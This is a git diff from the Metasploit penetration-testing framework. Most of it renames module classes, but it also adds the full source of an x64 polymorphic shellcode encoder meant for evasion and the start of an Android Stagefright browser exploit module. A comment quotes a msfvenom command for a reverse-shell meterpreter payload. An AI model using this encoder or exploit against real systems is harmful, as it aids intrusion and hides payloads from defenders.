Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/voip/telisca_ips_lock_control.rb b/modules/auxiliary/voip/telisca_ips_lock_control.rb index 3f40c00489..690fe6c93a 100644 --- a/modules/auxiliary/voip/telisca_ips_lock_control.rb +++ b/modules/auxiliary/voip/telisca_ips_lock_control.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb index 6421fdb954..41769d2e7b 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary def initialize super( diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index 0a91a507cb..0cd89c9c3a 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary def initialize super( diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb index 097746a5d4..27821cd788 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary def initialize super( diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb index d68bbbdea6..bd317eb561 100644 --- a/modules/auxiliary/vsploit/pii/email_pii.rb +++ b/modules/auxiliary/vsploit/pii/email_pii.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # # This module sends pii via an attacker smtp machine diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb index 2046f60300..f65a49e748 100644 --- a/modules/auxiliary/vsploit/pii/web_pii.rb +++ b/modules/auxiliary/vsploit/pii/web_pii.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # # This module acts as an compromised webserver distributing PII Data diff --git a/modules/encoders/cmd/echo.rb b/modules/encoders/cmd/echo.rb index 95911f0ded..9428e684a1 100644 --- a/modules/encoders/cmd/echo.rb +++ b/modules/encoders/cmd/echo.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = GoodRanking diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index 16e62302ef..cf565b8388 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # Has some issues, but overall it's pretty good Rank = ManualRanking diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index 602b3508d2..431d0a54f7 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # Below normal ranking because this will produce incorrect code a lot of # the time. diff --git a/modules/encoders/cmd/perl.rb b/modules/encoders/cmd/perl.rb index 0236e0191e..40c8ab0871 100644 --- a/modules/encoders/cmd/perl.rb +++ b/modules/encoders/cmd/perl.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = NormalRanking diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index e30a7a359a..ccadc43acf 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = ExcellentRanking def initialize diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index c713d4379a..d0bf51c6d7 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # Has some issues, but overall it's pretty good # - printf(1) may not be available diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb index 7db8116178..280389b784 100644 --- a/modules/encoders/generic/eicar.rb +++ b/modules/encoders/generic/eicar.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # Set to ManualRanking because actually using ths encoder will # certainly destroy any possibility of a successful shell. diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb index 6703a746d8..601c77b0ea 100644 --- a/modules/encoders/generic/none.rb +++ b/modules/encoders/generic/none.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder def initialize super( diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index dbe78d536b..f65650fdfc 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasm' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor Rank = NormalRanking diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index a0fe137c57..e1f5d061d1 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasm' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index 7492549ead..d620e9d82a 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasm' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor Rank = NormalRanking diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index 2e1eff8ab9..10c5a368ea 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'metasm' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 05327a5233..ae99c2170b 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = GreatRanking def initialize diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb index 1621e2a3e8..b497b5ee11 100644 --- a/modules/encoders/ppc/longxor.rb +++ b/modules/encoders/ppc/longxor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb index b0e6a90bd2..797d9cf259 100644 --- a/modules/encoders/ppc/longxor_tag.rb +++ b/modules/encoders/ppc/longxor_tag.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb index 34995ec80e..02759315a5 100644 --- a/modules/encoders/sparc/longxor_tag.rb +++ b/modules/encoders/sparc/longxor_tag.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::XorAdditiveFeedback +class MetasploitModule < Msf::Encoder::XorAdditiveFeedback def initialize super( diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb index 73586cccc7..93ad815858 100644 --- a/modules/encoders/x64/xor.rb +++ b/modules/encoders/x64/xor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( @@ -24,6 +24,13 @@ class Metasploit3 < Msf::Encoder::Xor } ) end + # Indicate that this module can preserve some registers + # ...which is currently not true. This is a temp fix + # until the full preserve_registers functionality is + # implemented. + def can_preserve_registers? + true + end def decoder_stub( state ) diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb new file mode 100644 index 0000000000..537f463101 --- /dev/null +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -0,0 +1,235 @@ +require 'metasm' +require 'msf/core' +require 'rex/nop/opty2' + +class MetasploitModule < Msf::Encoder::Xor + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'Zutto Dekiru', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x86_64 systems.', + 'Author' => 'agix', + 'Arch' => ARCH_X86_64, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw, + 'Decoder' => + { + 'KeySize' => 8, + 'KeyPack' => 'Q<' + } + ) + end + + @@cpu64 = Metasm::X86_64.new + def assemble(src, cpu=@@cpu64) + Metasm::Shellcode.assemble(cpu, src).encode_string + end + + + def fxsave64(reg) + case reg + when "rax" + return "\x48\x0f\xae\x00" + when "rbx" + return "\x48\x0f\xae\x03" + when "rcx" + return "\x48\x0f\xae\x01" + when "rdx" + return "\x48\x0f\xae\x02" + when "rsi" + return "\x48\x0f\xae\x06" + when "rdi" + return "\x48\x0f\xae\x07" + when "rbp" + return "\x48\x0f\xae\x45\x00" + when "r8" + return "\x49\x0f\xae\x00" + when "r9" + return "\x49\x0f\xae\x01" + when "r10" + return "\x49\x0f\xae\x02" + when "r11" + return "\x49\x0f\xae\x03" + when "r12" + return "\x49\x0f\xae\x04\x24" + when "r13" + return "\x49\x0f\xae\x45\x00" + when "r14" + return "\x49\x0f\xae\x06" + when "r15" + return "\x49\x0f\xae\x07" + end + end + + def nop(length,save_registers=[]) + test = Rex::Nop::Opty2.new('',save_registers) + return test.generate_sled(length) + end + + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + # + # Returns the set of FPU instructions that can be used for the FPU block of + # the decoder stub. + # + def fpu_instructions + fpus = [] + + 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } + 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } + + fpus << "\xd9\xd0" + fpus << "\xd9\xe1" + fpus << "\xd9\xf6" + fpus << "\xd9\xf7" + fpus << "\xd9\xe5" + + # This FPU instruction seems to fail consistently on Linux + #fpus << "\xdb\xe1" + + fpus + end + + def rand_string(length) + o = [('0'..'9'),('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten; + string = (0..(length-1)).map{ o[rand(o.length)] }.join; + + return string + end + + def xor_string(text,key) + text.length.times {|n| text[n] = (text[n].ord^key[n.modulo(key.length)].ord).chr } + return text + end + + + def ordered_random_merge(a,b) + a, b = a.dup, b.dup + a.map{rand(b.size+1)}.sort.reverse.each do |index| + b.insert(index, a.pop) + end + b + end + + def encode_block(state, block) + allowed_reg = [ + ["rax", "eax", "ax", "al" ], + ["rbx", "ebx", "bx", "bl" ], + ["rcx", "ecx", "cx", "cl" ], + ["rdx", "edx", "dx", "dl" ], + ["rsi", "esi", "si", "sil" ], + ["rdi", "edi", "di", "dil" ], + ["rbp", "ebp", "bp", "bpl" ], + ["r8", "r8d", "r8w", "r8b" ], + ["r9", "r9d", "r9w", "r9b" ], + ["r10", "r10d", "r10w", "r10b"], + ["r11", "r11d", "r11w", "r11b"], + ["r12", "r12d", "r12w", "r12b"], + ["r13", "r13d", "r13w", "r13b"], + ["r14", "r14d", "r14w", "r14b"], + ["r15", "r15d", "r15w", "r15b"], + ] + allowed_reg.delete_if { |reg| datastore['SaveRegisters'] && datastore['SaveRegisters'].include?(reg.first) } + allowed_reg.shuffle! + + if block.length%8 != 0 + block += nop(8-(block.length%8)) + end + + reg_type = 3 + + if (block.length/8) > 0xff + reg_type = 2 + end + + if (block.length/8) > 0xffff + reg_type = 1 + end + + if (block.length/8) > 0xffffffff + reg_type = 0 + end + + reg_key = allowed_reg[0][0] + reg_size = allowed_reg[3] + reg_rip = allowed_reg[1][0] + reg_env = allowed_reg[2] + + flip_coin = rand(2) + + fpu_opcode = Rex::Poly::LogicalBlock.new('fpu', + *fpu_instructions) + + fpu = [] + fpu << ["fpu",fpu_opcode.generate([], nil, state.badchars)] + + sub = (rand(0xd00)&0xfff0)+0xf000 + lea = [] + if flip_coin==0 + lea << ["lea", assemble("mov %s, rsp"%reg_env[0])] + lea << ["lea1", assemble("and "+reg_env[2]+", 0x%x"%sub)] + else + lea << ["lea", assemble("push rsp")] + lea << ["lea1", assemble("pop "+reg_env[0])] + lea << ["lea2", assemble("and "+reg_env[2]+", 0x%x"%sub)] + end + + fpu_lea = ordered_random_merge(fpu, lea) + fpu_lea << ["fpu1", fxsave64(reg_env[0])] # fxsave64 doesn't seem to exist in metasm + + key_ins = [["key", assemble("mov "+reg_key+", 0x%x"%state.key)]] + + size = [] + size << ["size", assemble("xor "+reg_size[0]+", "+reg_size[0])] + size << ["size", assemble("mov "+reg_size[reg_type]+", 0x%x"% (block.length/8))] + + getrip=0 + + a = ordered_random_merge(size, key_ins) + decode_head_tab = ordered_random_merge(a, fpu_lea) + + decode_head_tab.length.times { |i| getrip = i if decode_head_tab[i][0] == "fpu"} + + decode_head = decode_head_tab.map { |j,i| i.to_s }.join + + flip_coin = rand(2) + + if flip_coin==0 + decode_head += assemble("mov "+reg_rip+", ["+reg_env[0]+" + 0x8]") + else + decode_head += assemble("add "+reg_env[0]+", 0x8") + decode_head += assemble("mov "+reg_rip+", ["+reg_env[0]+"]") + end + + + decode_head_size = decode_head.length + getrip.times { |i| decode_head_size -= decode_head_tab[i][1].length } + + loop_code = assemble("dec "+reg_size[0]) + loop_code += assemble("xor ["+reg_rip+"+("+reg_size[0]+"*8) + 0x7f], "+reg_key) + loop_code += assemble("test "+reg_size[0]+", "+reg_size[0]) + + payload_offset = decode_head_size+loop_code.length+2 + + loop_code = assemble("dec "+reg_size[0]) + loop_code += assemble("xor ["+reg_rip+"+("+reg_size[0]+"*8) + 0x"+payload_offset.to_s(16)+"], "+reg_key) + loop_code += assemble("test "+reg_size[0]+", "+reg_size[0]) + + jnz = "\x75"+(0x100-(loop_code.length+2)).chr + + decode = decode_head+loop_code+jnz + encode = xor_string(block, [state.key].pack('Q')) + + return decode + encode + end + + +end diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb index 93c6c7a014..0175313484 100644 --- a/modules/encoders/x86/add_sub.rb +++ b/modules/encoders/x86/add_sub.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = ManualRanking diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 2376e6dd61..e89f4c30fa 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/encoder/alpha2/alpha_mixed' -class Metasploit3 < Msf::Encoder::Alphanum +class MetasploitModule < Msf::Encoder::Alphanum Rank = LowRanking def initialize diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 0430d6f403..61703a9acb 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/encoder/alpha2/alpha_upper' -class Metasploit3 < Msf::Encoder::Alphanum +class MetasploitModule < Msf::Encoder::Alphanum Rank = LowRanking diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb index 44180f5a9e..af1818e684 100644 --- a/modules/encoders/x86/avoid_underscore_tolower.rb +++ b/modules/encoders/x86/avoid_underscore_tolower.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # This encoder has a manual ranking because it should only be used in cases # where information has been explicitly supplied, like the BufferOffset. diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb index 238e87b60e..a90ee8a66b 100644 --- a/modules/encoders/x86/avoid_utf8_tolower.rb +++ b/modules/encoders/x86/avoid_utf8_tolower.rb @@ -88,7 +88,7 @@ require 'msf/core' # 0000004A 3401 xor al,0x1 # 0000004C 7F db 0x7F # -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # This encoder has a manual ranking because it should only be used in cases # where information has been explicitly supplied, like the BufferOffset. diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index 52814983cd..b3ddd8612d 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -24,7 +24,7 @@ require 'rex/encoder/bloxor/bloxor' # >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 - # -class Metasploit3 < Rex::Encoder::BloXor +class MetasploitModule < Rex::Encoder::BloXor # Note: Currently set to manual, bump it up to automatically get selected by the framework. # Note: BloXor by design is slow due to its exhaustive search for a solution. diff --git a/modules/encoders/x86/bmp_polyglot.rb b/modules/encoders/x86/bmp_polyglot.rb index 6c834132f4..d758825bca 100644 --- a/modules/encoders/x86/bmp_polyglot.rb +++ b/modules/encoders/x86/bmp_polyglot.rb @@ -177,7 +177,7 @@ class SizeCalculator end -class Metasploit4 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = ManualRanking diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb index c49f4572a9..3a2bf89737 100644 --- a/modules/encoders/x86/call4_dword_xor.rb +++ b/modules/encoders/x86/call4_dword_xor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb index b354574539..9181b1786f 100644 --- a/modules/encoders/x86/context_cpuid.rb +++ b/modules/encoders/x86/context_cpuid.rb @@ -6,7 +6,7 @@ require 'rex/poly' require 'msf/core' -class Metasploit3 < Msf::Encoder::XorAdditiveFeedback +class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Manual ranking because the cpuid value is generated and supplied # manually... diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb index 4de58d3824..c7ac475cd6 100644 --- a/modules/encoders/x86/context_stat.rb +++ b/modules/encoders/x86/context_stat.rb @@ -6,7 +6,7 @@ require 'rex/poly' require 'msf/core' -class Metasploit3 < Msf::Encoder::XorAdditiveFeedback +class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Manual ranking because the stat(2) key is generated and supplied # manually. diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb index f5db335623..06ec12c266 100644 --- a/modules/encoders/x86/context_time.rb +++ b/modules/encoders/x86/context_time.rb @@ -6,7 +6,7 @@ require 'rex/poly' require 'msf/core' -class Metasploit3 < Msf::Encoder::XorAdditiveFeedback +class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Manual ranking because the time(2) key is generated and supplied # manually. diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb index 78faa90631..d90556073a 100644 --- a/modules/encoders/x86/countdown.rb +++ b/modules/encoders/x86/countdown.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb index f942c29eb9..685635f96a 100644 --- a/modules/encoders/x86/fnstenv_mov.rb +++ b/modules/encoders/x86/fnstenv_mov.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::Xor +class MetasploitModule < Msf::Encoder::Xor def initialize super( diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb index 5a0b98d082..a0f9f7c2c0 100644 --- a/modules/encoders/x86/jmp_call_additive.rb +++ b/modules/encoders/x86/jmp_call_additive.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder::XorAdditiveFeedback +class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # Uncomment when we get the poly stuff working again. #Rank = GreatRanking diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb index b4e275351e..656adc6731 100644 --- a/modules/encoders/x86/nonalpha.rb +++ b/modules/encoders/x86/nonalpha.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/encoder/nonalpha' -class Metasploit3 < Msf::Encoder::NonAlpha +class MetasploitModule < Msf::Encoder::NonAlpha Rank = LowRanking diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb index 48a261b1f7..317b07b8bc 100644 --- a/modules/encoders/x86/nonupper.rb +++ b/modules/encoders/x86/nonupper.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/encoder/nonupper' -class Metasploit3 < Msf::Encoder::NonUpper +class MetasploitModule < Msf::Encoder::NonUpper Rank = LowRanking diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb index a28dbc3702..e214b9f108 100644 --- a/modules/encoders/x86/opt_sub.rb +++ b/modules/encoders/x86/opt_sub.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder Rank = ManualRanking @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Encoder register_options( [ OptString.new( 'ValidCharSet', [ false, "Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)" ]), - OptBool.new( 'OverwriteProtect', [ false, "Indicate if the encoded payload requires protection against being overwritten" ]) + OptBool.new( 'OverwriteProtect', [ false, "Indicate if the encoded payload requires protection against being overwritten", false]) ], self.class) end @@ -179,10 +179,8 @@ class Metasploit3 < Msf::Encoder raise EncodingError, "Unable to find AND-able chars resulting 0 in the valid character set." end - protect_payload = (datastore['OverwriteProtect'] || "").downcase == "true" - # with everything set up, we can now call the encoding routine - state.decoder_stub = encode_payload(state.buf, reg_offset, protect_payload) + state.decoder_stub = encode_payload(state.buf, reg_offset, datastore['OverwriteProtect']) state.buf = "" state.decoder_stub diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 14487f60bc..76ff8908c9 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -8,7 +8,7 @@ require 'rex/poly' require 'msf/core' -class Metasploit3 < Msf::Encoder::XorAdditiveFeedback +class MetasploitModule < Msf::Encoder::XorAdditiveFeedback # The shikata encoder has an excellent ranking because it is polymorphic. # Party time, excellent! diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb index e4bb69f6d1..3cc1976a5c 100644 --- a/modules/encoders/x86/single_static_bit.rb +++ b/modules/encoders/x86/single_static_bit.rb @@ -12,7 +12,7 @@ require 'msf/core' # The decoder has been tested with all possible values, but the decoder stub # is was not designed to bypass restrictions other than "bit 5 must be on".. # -class Metasploit3 < Msf::Encoder +class MetasploitModule < Msf::Encoder # This encoder has a manual ranking because it should only be used in cases # where information has been explicitly supplied, specifically diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb index 255f7f21d4..d33c46b153 100644 --- a/modules/encoders/x86/unicode_mixed.rb +++ b/modules/encoders/x86/unicode_mixed.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/encoder/alpha2/unicode_mixed' -class Metasploit3 < Msf::Encoder::Alphanum +class MetasploitModule < Msf::Encoder::Alphanum Rank = ManualRanking diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb index 821d6f5c92..d04c1b4bf6 100644 --- a/modules/encoders/x86/unicode_upper.rb +++ b/modules/encoders/x86/unicode_upper.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/encoder/alpha2/unicode_upper' -class Metasploit3 < Msf::Encoder::Alphanum +class MetasploitModule < Msf::Encoder::Alphanum Rank = ManualRanking diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb index 18f91d7ec9..f1b171b225 100644 --- a/modules/exploits/aix/local/ibstat_path.rb +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index ad11665a90..cae0405028 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb index 3e8a17e173..758de4da37 100644 --- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb +++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SunRPC diff --git a/modules/exploits/android/adb/adb_server_exec.rb b/modules/exploits/android/adb/adb_server_exec.rb index d1d13e601c..bc9e5eeefa 100644 --- a/modules/exploits/android/adb/adb_server_exec.rb +++ b/modules/exploits/android/adb/adb_server_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/proto/adb' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 5b3c906329..6eb7887d6f 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'digest/md5' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb new file mode 100644 index 0000000000..6d92079533 --- /dev/null +++ b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb @@ -0,0 +1,1212 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "Android Stagefright MP4 tx3g Integer Overflow", + 'Description' => %q{ + This module exploits a integer overflow vulnerability in the Stagefright + Library (libstagefright.so). The vulnerability occurs when parsing specially + crafted MP4 files. While a wide variety of remote attack vectors exist, this + particular exploit is designed to work within an HTML5 compliant browser. + + Exploitation is done by supplying a specially crafted MP4 file with two + tx3g atoms that, when their sizes are summed, cause an integer overflow when + processing the second atom. As a result, a temporary buffer is allocated + with insufficient size and a memcpy call leads to a heap overflow. + + This version of the exploit uses a two-stage information leak based on + corrupting the MetaData that the browser reads from mediaserver. This method + is based on a technique published in NorthBit's Metaphor paper. First, + we use a variant of their technique to read the address of a heap buffer + located adjacent to a SampleIterator object as the video HTML element's + videoHeight. Next, we read the vtable pointer from an empty Vector within + the SampleIterator object using the video element's duration. This gives + us a code address that we can use to determine the base address of + libstagefright and construct a ROP chain dynamically. + + NOTE: the mediaserver process on many Android devices (Nexus, for example) is + constrained by 